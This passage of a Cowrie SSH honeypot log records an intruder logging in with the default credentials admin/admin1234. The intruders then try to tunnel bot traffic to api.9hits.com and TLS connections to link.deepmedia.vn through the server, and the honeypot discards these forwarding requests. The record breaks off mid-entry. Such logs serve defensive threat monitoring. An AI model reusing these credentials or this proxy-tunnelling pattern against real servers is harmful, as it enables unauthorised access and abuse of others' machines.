{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:23.601521Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:25.663086Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.525261Z","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.532463Z","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.591334Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cmcwb3psfWUycClxakZIcg%3D%3DZNHCPOw9%2Fjd1yRgmX4GqQqyM9%2FiGoou5089E%2B2S87SN%2FLNZAh%2FtKQbOXWTGYYCjmH5PzbFBEshTExW0vF1PwjMdHU5Vy4LQ%2BrOrkge3eUruRRFOlbd0ojtOdD9HXqzTNEF1r7tQNAhmqBOnbpLiyJ5Z5JRmhlmlaqQw5O%2B%2F3yJgBrCZUUauFVrefaeWTGqwXDm0z4Z1eYeWFDgHcELXXRO80Zb7ZmKamqLdRpc3%2F7rnNpTzODXdeIiCKgs7x6m7fvD%2FQngWhe9pMIVCU3qlswN%2BrYfP1gZHaqVBMw18pYgeNRg9lG68NuCMdK65JB1lXuHGWLao6Z1SmePS9ILG13pw0ogn8TuHEUSM%2FlLBLcNHc3%2BZVgna%2BohkyM143z4AFIfZzWe20FTGOWBENFfTP7OADcFJitPsHWeCVBLkpLfwtzpPq92LqxFsRDyp%2B9tCA7erYQQaC3ywNgr9UgpOKZyKcFUWyQ3%2F3%2BiLzrBtz%2Ffe9Ah45njE4SA2IcOquY1R6wpfaR43S34q%2BB9SCvPNu3R5783zLaYyM0ZhJtvs7MYp33c8Okrp0l47ir7UkQ9mmtjPR0VdK8EWzQIBQbitclxlhXcvpZems5VHX4q%2FBkbBeoPWY5BGu8vFYs1JTbg4%2BbP153%2BG8h%2FDokaGWF7MCACH4hB0BsoV2u2iIw4wVa8RaWK%2BUMyemWhmJ0byvBJ7YX9VAutpLMYtG3zApaWE1A9utFTTC6azPhxW4yrtai9tmC%2F0ukubrDUZyD3E1rK5fzupKNjIpoc3NLLPH9H46A1RImt%2FoO53JJHYShh%2Fe0eILlzYqYyefVYMLJggMleem4UwPYFJyu%2Fvu%2FQlPQdaZEqauE41ib7v36ESPlmfocJGAT6dQyNl%2FKXR3CkPPb9edvLsHB4OD7te7ei6sFvFlOLa69FrHdEN2v2D8T2t1x2hcqQUKNDcpEblvb6mpqprFwXq5G6zn8lw%2B%2B6Z9Dee1DdMcwareguOthBWP4Y0CVZS2L6EY389%2Bsfb5lmN9sLNTSTLN7ovdxkdAzIV3IK%2FrBw%3D%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cmcwb3psfWUycClxakZIcg%3D%3DZNHCPOw9%2Fjd1yRgmX4GqQqyM9%2FiGoou5089E%2B2S87SN%2FLNZAh%2FtKQbOXWTGYYCjmH5PzbFBEshTExW0vF1PwjMdHU5Vy4LQ%2BrOrkge3eUruRRFOlbd0ojtOdD9HXqzTNEF1r7tQNAhmqBOnbpLiyJ5Z5JRmhlmlaqQw5O%2B%2F3yJgBrCZUUauFVrefaeWTGqwXDm0z4Z1eYeWFDgHcELXXRO80Zb7ZmKamqLdRpc3%2F7rnNpTzODXdeIiCKgs7x6m7fvD%2FQngWhe9pMIVCU3qlswN%2BrYfP1gZHaqVBMw18pYgeNRg9lG68NuCMdK65JB1lXuHGWLao6Z1SmePS9ILG13pw0ogn8TuHEUSM%2FlLBLcNHc3%2BZVgna%2BohkyM143z4AFIfZzWe20FTGOWBENFfTP7OADcFJitPsHWeCVBLkpLfwtzpPq92LqxFsRDyp%2B9tCA7erYQQaC3ywNgr9UgpOKZyKcFUWyQ3%2F3%2BiLzrBtz%2Ffe9Ah45njE4SA2IcOquY1R6wpfaR43S34q%2BB9SCvPNu3R5783zLaYyM0ZhJtvs7MYp33c8Okrp0l47ir7UkQ9mmtjPR0VdK8EWzQIBQbitclxlhXcvpZems5VHX4q%2FBkbBeoPWY5BGu8vFYs1JTbg4%2BbP153%2BG8h%2FDokaGWF7MCACH4hB0BsoV2u2iIw4wVa8RaWK%2BUMyemWhmJ0byvBJ7YX9VAutpLMYtG3zApaWE1A9utFTTC6azPhxW4yrtai9tmC%2F0ukubrDUZyD3E1rK5fzupKNjIpoc3NLLPH9H46A1RImt%2FoO53JJHYShh%2Fe0eILlzYqYyefVYMLJggMleem4UwPYFJyu%2Fvu%2FQlPQdaZEqauE41ib7v36ESPlmfocJGAT6dQyNl%2FKXR3CkPPb9edvLsHB4OD7te7ei6sFvFlOLa69FrHdEN2v2D8T2t1x2hcqQUKNDcpEblvb6mpqprFwXq5G6zn8lw%2B%2B6Z9Dee1DdMcwareguOthBWP4Y0CVZS2L6EY389%2Bsfb5lmN9sLNTSTLN7ovdxkdAzIV3IK%2FrBw%3D%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.594740Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.600360Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc02\\x84\\xb6@\\xf21_ \\xa9\\xf1\\x1bN\\xbe\\x18\\xd7>G\\xa4v\\x82>\\x83\\x93\\xf5C,\\x1d\\xb2\\xbe\\x0e\\x92 \\x88C\\x9c\\xcaT\\x03D\\xfb\\x08p$?\\x8d\\x1e\\x1f\\xae\\x17\\xf9\\x7f\\x97e\\n8aa\\xcfLc;\\x0f!\\\\\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 _\\xf1\\x1f\\x88Sf)H\\x1f\\x8bd\\xff\\xb2\\x96\\xbd^Y\\xe4\\xee\\r\\t\\x16\\x18U\\xd4\\xb1\\xf1!\\x9b\\x89\\x1dA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc02\\x84\\xb6@\\xf21_ \\xa9\\xf1\\x1bN\\xbe\\x18\\xd7>G\\xa4v\\x82>\\x83\\x93\\xf5C,\\x1d\\xb2\\xbe\\x0e\\x92 \\x88C\\x9c\\xcaT\\x03D\\xfb\\x08p$?\\x8d\\x1e\\x1f\\xae\\x17\\xf9\\x7f\\x97e\\n8aa\\xcfLc;\\x0f!\\\\\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 _\\xf1\\x1f\\x88Sf)H\\x1f\\x8bd\\xff\\xb2\\x96\\xbd^Y\\xe4\\xee\\r\\t\\x16\\x18U\\xd4\\xb1\\xf1!\\x9b\\x89\\x1dA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.605567Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.713615Z","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.778919Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xb5\\xe6\\x87\\x80{1\\x8a\\x02\\xc0\\x8e7z\\xaa\\x1b\\xb8j>\\xe2z\\xc7\\x85\\x02\\r^\\xae\\xb8\\x00\\xda\\x9e\\xe8\\x86 \\xf3\\xe1\\x16;j\\x98\\x9d,Bp\\xf6\\xe1\\x0e\\xb8\\x87\\xba\\x96\\x04\\xca\\xb7\\x12k\\xd0\\xaf\\x89\\xc0F\\x85K\\x8e\\x1e\\x0b\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xf1\\x9e7\\xb1_\\x9c\\x93\\x8f\\x03\\x9e\\x98J\\x92\\x9es\\x00\\xd4:.\\xb9\\x12}\\x85\\xcd$\\xda#\\xcc\\x94\\xd2T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xb5\\xe6\\x87\\x80{1\\x8a\\x02\\xc0\\x8e7z\\xaa\\x1b\\xb8j>\\xe2z\\xc7\\x85\\x02\\r^\\xae\\xb8\\x00\\xda\\x9e\\xe8\\x86 \\xf3\\xe1\\x16;j\\x98\\x9d,Bp\\xf6\\xe1\\x0e\\xb8\\x87\\xba\\x96\\x04\\xca\\xb7\\x12k\\xd0\\xaf\\x89\\xc0F\\x85K\\x8e\\x1e\\x0b\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xf1\\x9e7\\xb1_\\x9c\\x93\\x8f\\x03\\x9e\\x98J\\x92\\x9es\\x00\\xd4:.\\xb9\\x12}\\x85\\xcd$\\xda#\\xcc\\x94\\xd2T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:30.782152Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.9","message":"Connection lost after 29.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:35.698943Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:36.287680Z","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:36.322251Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ckN%2BMUpTPnJoL2hhS0FjUg%3D%3DIByBVzz56fL419Rywu5AZCscEFNF8hLaEYAEgifnWxX2I4fkCpapMJp7JWZqzVc6Tue0DCoIYsesjd2b0hmfqhqlR3YM5WS%2BcV0JpUPGdpdo33skBDUOz%2Bx5cXcnfV6tLoZARgGq0jFcjeIy9Zdefj5Onm30vVx7YJBT2SAFwjR7oSlo%2BhuRwMN%2BdJXjh7mpDJ19d1HG3FfQPgjyNPrfZmWv0THdJ88Q9xLrSrPUY13oTXpKexDEk3bZzi2mbi%2BTIErd3mDaYChjodLqi9vb1xvbd5Eenq93c1w77ti8f6rXxrId8YFy4bk0OJNuHrihdMvvbY5ddNCrITieMwW5sDsvxB77nT3N9FMuE1d8CUrHbI7E3IlIo7xCMkC1NJyeP8B%2BOMPDoQ%2B04kKOaNzU1X0aXNAHzVnYWyPvu2U%2FR7mASRly2%2B8XbKJoU7YdSKWuVpo3jrBvhDu97VDxoBn%2B9ZIpNPDUL4VKljGa2aG%2BUbvNXyCchaIvAU2E2TbwrimNoHwmJIRawYBeEQa35BhQMJ0zyeHrRLbQCiEImajEttgw6xx